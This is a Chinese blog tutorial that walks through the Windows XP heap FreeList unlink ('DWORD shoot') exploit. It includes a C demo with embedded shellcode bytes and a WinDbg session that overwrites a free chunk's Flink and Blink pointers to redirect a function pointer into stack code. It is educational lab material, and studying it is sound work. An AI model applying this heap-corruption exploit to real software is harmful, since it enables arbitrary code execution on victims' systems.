本文主要是介绍xp下堆溢出DWORD SHOOT---狙击空闲表,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
前面写过通过堆溢出利用快表,这次我的目标是利用空闲表。千万不要觉得这是炒作话题,利用空闲表比利用快表要复杂很多,因此希望读者不要在开头就弃篇。另外本文的定位是读者已经看过Oday安全软件漏洞第5章和软件调试第23章相关内容,对windows堆块管理有一定的认知。
正式开始前,先来看个重要的数据结构LIST_ENTRY--双向链表的链接节点_HEAP!FreeLists[128]数组的数组元素正是这样的元素:
typedef struct _LIST_ENTRY
{struct _LIST_ENTRY* FLink;struct _LIST_ENTRY* BLink;
}LIST_ENTRY;
随着大量容器库的涌现,这种原始的需要程序员自己维护内存的结构逐渐退居二线,但是R0的代码里它的身影依然到处可见,堆管理器也用这个结构管理堆块。为了便于读者理解及更好的阐述DWORD shoot的原理,我还是简单的介绍一下这个结构的用法。
//双向列表插入
void InsertTailList(PLIST_ENTRY ListHead,PLIST_ENTRY Entry)
{Entry->Blink = ListHead->Blink;Entry->Flink = ListHead;ListHead->Blink->Flink = Entry;ListHead->Blink = Entry;
}
//删除链表节点,狙击空闲表的精髓就是这个函数
unsigned char RemoveEntryList(PLIST_ENTRY Entry)
{if(Entry->Flink == Entry)return 0;Entry->Flink->Blink = Entry->Blink;Entry->Blink->Flink = Entry->Flink;return 1;
}
有了上面的铺垫,我开始继续介绍狙击空闲链表。示例程序如下(其实是对0day安全第五章的代码略作改动):
#include <stdio.h>typedef int (*PFN_fn)();int func1()
{printf("func1\n");return 0;
}int main(int argc, char* argv[])
{/*lea eax,func1;jmp eax;*/char buff[] = {"\x90\x90\x90\x90\x90\x90\x90\x90\x8D\x05\xCC\x10\x40\xCC\xFF\xE0"};PFN_fn execStack = NULL;printf("execStack:%08x\nbuff:%08x\nfunc1:%08x\n",&execStack,buff,func1);buff[10] = 0x00; //buff[10]本应该是0x00,但初始化字符串数组时遇到0x00会截断后面的字符串,因此需要在初始化之前写个非零值,然后再改回来buff[13] = 0x00;{HLOCAL h1, h2,h3,h4,h5,h6;HANDLE hp;int i = 0;hp = HeapCreate(0, 0x1000, 0x10000);h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);h5 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);h6 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);HeapFree(hp, 0, h1);HeapFree(hp, 0, h3);HeapFree(hp, 0, h5);_asm int 0x3;h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8); //a)}(*execStack)();return 0;
}
重要的一点:创建堆时,如果标记堆为可扩展堆,则会启动快表分配,影响这次实验的过程(前面两篇xp下调试堆溢出 就是以HeapCreate(0,0,0);的形式创建扩展堆,进而溢出快表)。而这次代码中用HeapCreate(0,0x1000,0x10000);的形式创建不可扩展堆。
先调试正常情况下从空闲表分配堆块的流程(执行到a处时空闲表FreeList[2]的变化):
1).程序从int 3异常返回时:
0:000> p
push esi ;向堆栈中传入堆句柄
0:000> r @esi
esi=003a0000 ;CreateHeap创建的堆句柄
0:000> p
call edi {ntdll!RtlAllocateHeap (7c9300a4)}
0:000> dt _PEB @$peb
ntdll!_PEB
+0x088 NumberOfHeaps : 7
+0x090 ProcessHeaps : 0x7c99cfc0 -> 0x00140000 Void
0:000> dd 0x7c99cfc0 L6
7c99cfc0 00140000 00240000 00250000 00380000
7c99cfd0 003a0000 003b0000
0:000> dt _HEAP 003a0000 ;查看堆的空闲列表数组.数组项是大小为8B的LIST_ENTRY,因此FreeList[2]地址为0x3a0188
ntdll!_HEAP
+0x178 FreeLists : [128] _LIST_ENTRY [ 0x3a06e8 - 0x3a06e8 ]
0:000> dd 3a0178
003a0178 003a06e8 003a06e8 003a0180 003a0180
<span style="color:#ff0000;">003a0188 003a0688 003a06c8</span> 003a0190 003a0190
2).程序调用HeapAlloc时会以FreeList[2]->Blink参数调用RemoveEntryList,并执行如下操作:
Entry->Flink->Blink = Entry->Blink;
Entry->Blink->Flink = Entry->Flink;
其中Entry就是上面提到的FreeList[2]->Blink:
0:000> dt _LIST_ENTRY 003a0188
ntdll!_LIST_ENTRY[ 0x3a0688 - 0x3a06c8 ]+0x000 Flink : 0x003a0688 _LIST_ENTRY [ 0x3a06a8 - 0x3a0188 ]+0x004 Blink : 0x003a06c8 _LIST_ENTRY [ 0x3a0188 - 0x3a06a8 ]
;003a0188+0x04处内存的值是即将被参入RemoveEntryList作为参数Entry的freelist[2]->Blink
0:000> dd 003a0188+0x04 L1
003a018c 003a06c8;因为RemoveEntryList是对Entry->Flink和Entry->Blink进行操作,所以需要
;查看这两个指针变量的值
0:000> dt _LIST_ENTRY 0x003a06c8 ;RemoveEntryList的参数Entry
ntdll!_LIST_ENTRY[ 0x3a0188 - 0x3a06a8 ]+0x000 Flink : 0x003a0188 _LIST_ENTRY [ 0x3a0688 - 0x3a06c8 ]+0x004 Blink : 0x003a06a8 _LIST_ENTRY [ 0x3a06c8 - 0x3a0688 ]
;Entry->Flink的内存地址为0x3a06c8+0x00,内存0x3a06c8处的值为0x3a0188
0:000> dd 0x3a06c8+0x00 L1
003a06c8 003a0188
Entry->Flink->Blink的内存地址为0x003a0188+0x04,内存0x003a018c处的值为0x3a06c8
0:000> dd 003a0188+0x04 L1
003a018c 003a06c8;Entry->Blink的内存地址为0x3a06c8+0x04,内存0x3a06cc处的值为0x3a06a8
0:000> dd 0x3a06c8+0x04 L1
003a06cc 003a06a8
;Entry->Blink->Flink的内存地址为0x003a06a8+0x00,内存0x003a06a8处的值为0x3a06c8;下面分解Entry->Flink->Blink = Entry->Blink;的操作
;以Entry->Blink内存处的值(0x3a06a8)修改Entry->Flink->Blink内存(0x003a018c)处的值(0x3a06c8)
;可以预见当HeapAlloc返回,内存地址0x003a018c处的值为0x3a06a8;接着分解Entry->Blink->Flink = Entry->Flink;的操作
;以Entry->Flink内存处的值(0x3a0188)修改Entry->Blink->Flink内存(0x003a06a8)处的值(0x3a06c8)
;可以预见当HeapAlloc返回,内存地址0x003a06a8处的值为0x3a06188
0:000> p
list+0x10df:
004010df ff55fc call dword ptr [ebp-4] ss:0023:0012ff7c=00000000
0:000> dd 0x003a018c L1
003a018c 003a06a8
0:000> dd 0x003a06a8 L1
003a06a8 003a0188
;换言之FreeList[2]->Flink的值为003a06a8
0:000> dd 3a0178
003a0178 003a06e8 003a06e8 003a0180 003a0180
003a0188 003a0688 003a06a8 003a0190 003a0190
由于堆管理器并不验证Entry->Flink和Entry->Blink地址合法性,而执行Entry->Blink->Flink = Entry->Flink;时有一次将源地址赋值给目的指针变量的过程.因此留给我们做溢出的大好机会:一般以Entry->Blink->Flink作为执行者(会发生如 call [Entry->Blink->Flink]的情况),如c++的虚函数更或者本例中的函数指针(原因后面分析),Entry->Flink作为可执行代码的首地址赋给Entry->Blink->Flink。
至于为什么选Entry->Blink->Flink作为执行者?得从2方面来回答,1)Entry->Blink->Flink和Entry->Flink->Blink都是被赋值的对象,因此有被恶意地址修改的可能,这点很重要;2)
Entry->Blink->Flink和Entry->Blink具有相同的内存地址,不用加上4B偏移,方便定位.正因为Entry->Blink->Flink和Entry->Blink具有相同的内存地址,所以我们只需要同时提供Entry->Flink和Entry->Blink的值(溢出用户堆内存,直到下一块空闲堆的LIST_ENTRY结构),就能完成一次DWORD shoot.
基于上面结论,我们来手动修改Entry->Flink和Entry->Blink的值,使得execStack指向func1.已知execStack函数指针的地址为0x12ff7c(前面说的会被调用的执行者)buff的地址是0x12ff60(可执行段的地址).因此,套用上面的规律:修改地址Entry->Flink处的值为0x12ff60 修改地址Entry->Blink处的值为0x12ff7c然后执行.
0:000> dd 3a06c8 l2
003906c8 003a0188 003a06a8
0:000> ed 3a06c8 12ff60
0:000> ed 3a06cc 12ff7c
0:000> p
eax=003a06c8 ebx=77f51597 ecx=77f5180b edx=00000008 esi=003a0000 edi=77f516f8
eip=004010df esp=0012ff54 ebp=0012ff80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
dworshoot+0x10df:
004010df ff55fc call dword ptr [ebp-4] ss:0023:0012ff7c=0012ff60
0:000> dd 12ff7c ;经过HeapAlloc后execStack指向了可执行栈buff的首地址
0012ff7c 0012ff60 0012ffc0 004011d5 00000001 ;execStack NULL 12ff60
0:000> dd 12ff60 l4
0012ff60 90909090 0012ff7c 1000058d e0ff0040
最后贴上控制台输出结果,execStack执行buff中的shellcode向屏幕打印func1
这篇关于xp下堆溢出DWORD SHOOT---狙击空闲表的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!